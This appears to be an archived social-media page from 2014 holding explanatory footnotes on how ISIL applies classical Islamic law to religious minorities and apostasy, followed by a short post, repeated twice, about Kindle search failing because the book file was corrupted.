³ And technically also including the "Sabians", a grouping that is hard to identify today; several small groups in Iraq (or recently in Iraq; many have fled to Syria, Jordan or Iran) might have claim to it or might be described by some muftis as Sabians. But there is enough dispute, both inside and outside these groups, to confuse matters to where it seems unlikely that a group like ISIL would bother making distinctions. Traditional Islamic scholarship holds that a caliph should err on the side of accepting of people under its rule claiming to be People of the Book, but ISIL has not shown much of a bent for acceptance.

⁴ Though you may not agree with the definition of "innocent" here; basically, a caliph should allow People of the Book to follow these religions without harassment, but they cannot be accorded the full political or property rights of citizens, and while they can continue to worship in churches and synagogues already existing, they cannot build new houses of worship or even renovate or expand existing ones. And proselytizing or even allowing Muslims to convert is considered a crime whose punishment the guilty party's entire religious community must bear, by the destruction of their places of worship and the loss of their property.

⁵ Islamic jurisprudence has honestly made a complete hash of the distinctions between apostasy, heresy, blasphemy, hypocrisy, nonobservance, atheism, and unbelief. I use the term "apostasy" here because it's the one that most clearly cannot admit people following entirely different religions. In short, a Christian, Hindu or Yezidi can be guilty of blasphemy against Islam, but not apostasy within Islam. A Shiite is an apostate in ISIL's view.___

2014-09-09 20:23:51 (6 comments, 0 reshares, 0 +1s)Open 

Can authors disable searching Amazon Kindle books? I bought a book that I know is all text, it's reflowable and you can change the font, but all searches, even for words I can see are in the book, return zero results.

I'm wondering if this indicates a bug or unintended (or paranoid) action by the publisher or author.

Update: False alarm, the book was somehow corrupted. Deleting it off my device and re-downloading it fixed the problem.

Can authors disable searching Amazon Kindle books? I bought a book that I know is all text, it's reflowable and you can change the font, but all searches, even for words I can see are in the book, return zero results.

I'm wondering if this indicates a bug or unintended (or paranoid) action by the publisher or author.

Update: False alarm, the book was somehow corrupted. Deleting it off my device and re-downloading it fixed the problem.___

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